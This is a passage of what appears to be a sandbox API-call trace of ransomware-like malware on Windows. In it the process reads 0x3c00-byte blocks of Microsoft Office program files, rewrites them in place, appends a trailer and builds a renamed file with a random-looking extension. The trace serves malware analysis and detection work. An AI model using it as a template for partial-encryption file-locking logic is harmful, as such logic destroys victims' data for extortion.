0x6d65ddce [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x4a2968bf [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x782b4599 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x111dcce4 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x51c8e2cc [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x4ac7e796 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x4b94d145 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x30890176 [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x23f0efb [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x16c41ad0 [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x60ff3d11 [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x2304d5fb [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x48f81b17 [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x65a90b3b [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x48219cea [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x2d1d9018 [0091.147] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x475aa7a3 [0091.156] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.157] ReadFile (in: hFile=0xd24, lpBuffer=0x2015f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2769f5c0, lpOverlapped=0x0 | out: lpBuffer=0x2015f0f0*, lpNumberOfBytesRead=0x2769f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.468] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7830 [0091.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7830) returned 1 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201978d0 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7830 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0091.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0091.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0091.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.469] WriteFile (in: hFile=0xd24, lpBuffer=0x201978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2769f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201978d0*, lpNumberOfBytesWritten=0x2769f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201978d0) returned 1 [0100.133] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.134] ReadFile (in: hFile=0xd24, lpBuffer=0x2015f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2769f5c0, lpOverlapped=0x0 | out: lpBuffer=0x2015f0f0*, lpNumberOfBytesRead=0x2769f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.421] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0100.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec3da0 [0100.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0100.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cc0) returned 1 [0100.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f978d0 [0100.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0100.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261490 [0100.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261490) returned 1 [0100.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec3da0) returned 1 [0100.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0100.875] WriteFile (in: hFile=0xd24, lpBuffer=0x41f978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2769f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f978d0*, lpNumberOfBytesWritten=0x2769f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f978d0) returned 1 [0159.499] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x603a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.499] ReadFile (in: hFile=0xd24, lpBuffer=0x2015f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2769f5c0, lpOverlapped=0x0 | out: lpBuffer=0x2015f0f0*, lpNumberOfBytesRead=0x2769f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.897] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x603a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0159.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f51a0 [0159.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f51a0) returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d84990 [0159.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f51a0 [0159.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a10 [0159.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a10) returned 1 [0159.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0159.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.901] WriteFile (hFile=0xd24, lpBuffer=0x41d84990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2769f5c0, lpOverlapped=0x0) [0188.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d84990) returned 1 [0188.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x203fad60 [0188.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f51a0) returned 1 [0188.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cc0) returned 1 [0188.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7830) returned 1 [0188.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2015f0f0) returned 1 [0188.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7830 [0188.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0188.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0188.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134750 [0188.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134750) returned 1 [0188.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43134750 [0188.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431347e0 [0188.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134870 [0188.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134870) returned 1 [0188.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0188.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0188.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x133fa0 [0188.145] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.145] WriteFile (in: hFile=0xd24, lpBuffer=0x133fa0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2769f670, lpOverlapped=0x0 | out: lpBuffer=0x133fa0*, lpNumberOfBytesWritten=0x2769f670*=0x14a, lpOverlapped=0x0) returned 1 [0201.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0201.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30d40 [0201.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30d40) returned 1 [0201.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f8740 [0201.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30d40 [0201.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30da0 [0201.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30da0) returned 1 [0201.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0201.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e9b0 [0201.901] sprintf (in: _Dest=0x1ce5e9b0, _Format="%c%c" | out: _Dest="0c") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9b2, _Format="%c%c" | out: _Dest="a1") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9b4, _Format="%c%c" | out: _Dest="db") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9b6, _Format="%c%c" | out: _Dest="d3") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9b8, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9ba, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9bc, _Format="%c%c" | out: _Dest="7a") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9be, _Format="%c%c" | out: _Dest="5e") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9c0, _Format="%c%c" | out: _Dest="3e") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9c2, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9c4, _Format="%c%c" | out: _Dest="33") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9c6, _Format="%c%c" | out: _Dest="96") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9c8, _Format="%c%c" | out: _Dest="a7") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9ca, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9cc, _Format="%c%c" | out: _Dest="8b") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9ce, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9d0, _Format="%c%c" | out: _Dest="37") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9d2, _Format="%c%c" | out: _Dest="79") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9d4, _Format="%c%c" | out: _Dest="1a") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9d6, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9d8, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9da, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9dc, _Format="%c%c" | out: _Dest="07") returned 2 [0201.902] sprintf (in: _Dest=0x1ce5e9de, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.902] RtlInitAnsiString (in: DestinationString=0x2769f6e8, SourceString="0ca1dbd3f1f77a5e3e9b3396a7a68bd537791af61cfb077c" | out: DestinationString="0ca1dbd3f1f77a5e3e9b3396a7a68bd537791af61cfb077c") [0201.902] RtlAnsiStringToUnicodeString (in: DestinationString=0x2769f6b8, SourceString="0ca1dbd3f1f77a5e3e9b3396a7a68bd537791af61cfb077c", AllocateDestinationString=1 | out: DestinationString="0ca1dbd3f1f77a5e3e9b3396a7a68bd537791af61cfb077c") returned 0x0 [0201.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce156f0 [0201.903] wcscat (in: _Dest=0x43107e30, _Source="0ca1dbd3f1f7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0ca1dbd3f1f7") returned="C:\\Program Files\\Microsoft Office\\Office14\\0ca1dbd3f1f7" [0201.903] wcscat (in: _Dest=0x43107e30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0ca1dbd3f1f7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\0ca1dbd3f1f7.2f9b60" [0201.903] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\0ca1dbd3f1f7.2f9b60", NtPathName=0x2769f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\0ca1dbd3f1f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431a7e80 Thread: id = 408 os_tid = 0xf90 [0090.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl")) returned 0x20 [0091.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL", dwFileAttributes=0x20) returned 1 [0091.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd10 [0091.039] GetFileSizeEx (in: hFile=0xd10, lpFileSize=0x277cfac0 | out: lpFileSize=0x277cfac0*=196008) returned 1 [0091.039] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x2fda4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.039] ReadFile (in: hFile=0xd10, lpBuffer=0x277cfa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x277cfa88, lpOverlapped=0x0 | out: lpBuffer=0x277cfa40*, lpNumberOfBytesRead=0x277cfa88*=0x4, lpOverlapped=0x0) returned 1 [0091.079] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0091.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0091.080] NtQuerySystemTime (in: CurrentTime=0x277cf980 | out: CurrentTime=0x277cf980*=132462176969302000) returned 0x0 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x29f23ba9 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x2e882162 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x60291d8d [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x39d4f3b8 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x5ea306af [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x12264bc8 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x5ae5eee0 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x20394f18 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x72c72f33 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x83a509e [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x6be654a6 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x498d891a [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x52d9036a [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x2f346e37 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x575672c6 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0xf61e79 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x1bd96507 [0091.080] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x68c5722d [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x22c2f198 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x2832b1db [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x538b09d0 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x2029e27d [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0xb025862 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x4b58b1e4 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x7b8e75e7 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x6bd09f95 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x70c4fbc6 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x58898768 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x34096b63 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x17510092 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x7877ed49 [0091.081] RtlRandomEx (in: Seed=0x277cf970 | out: Seed=0x277cf970) returned 0x43aaa933 [0091.091] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.091] ReadFile (in: hFile=0xd10, lpBuffer=0x20144990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x277cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x20144990*, lpNumberOfBytesRead=0x277cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.318] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0091.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed10 [0091.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0091.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0091.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20166910 [0091.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0091.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0091.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0091.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed10) returned 1 [0091.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0091.319] WriteFile (in: hFile=0xd10, lpBuffer=0x20166910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x277cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesWritten=0x277cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0100.418] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.418] ReadFile (in: hFile=0xd10, lpBuffer=0x20144990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x277cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x20144990*, lpNumberOfBytesRead=0x277cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.432] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0100.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0100.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263980) returned 1 [0100.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20193cc0 [0100.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0100.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639b0 [0100.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639b0) returned 1 [0100.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.434] WriteFile (in: hFile=0xd10, lpBuffer=0x20193cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x277cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x20193cc0*, lpNumberOfBytesWritten=0x277cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20193cc0) returned 1 [0100.558] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x2c1a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.558] ReadFile (in: hFile=0xd10, lpBuffer=0x20144990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x277cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x20144990*, lpNumberOfBytesRead=0x277cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.655] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x2c1a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0100.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d570 [0100.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d80 [0100.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d80) returned 1 [0100.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee9640 [0100.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d80 [0100.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d50 [0100.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d50) returned 1 [0100.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d570) returned 1 [0100.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0100.656] WriteFile (in: hFile=0xd10, lpBuffer=0x1cee9640*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x277cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x1cee9640*, lpNumberOfBytesWritten=0x277cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0121.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee9640) returned 1 [0121.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9940 [0121.550] SetFilePointerEx (in: hFile=0xd10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0121.550] WriteFile (in: hFile=0xd10, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x277cfa90, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x277cfa90*=0x146, lpOverlapped=0x0) returned 1 [0124.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0124.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0124.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0124.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0124.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0124.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0124.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c00 [0124.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c00) returned 1 [0124.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0124.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 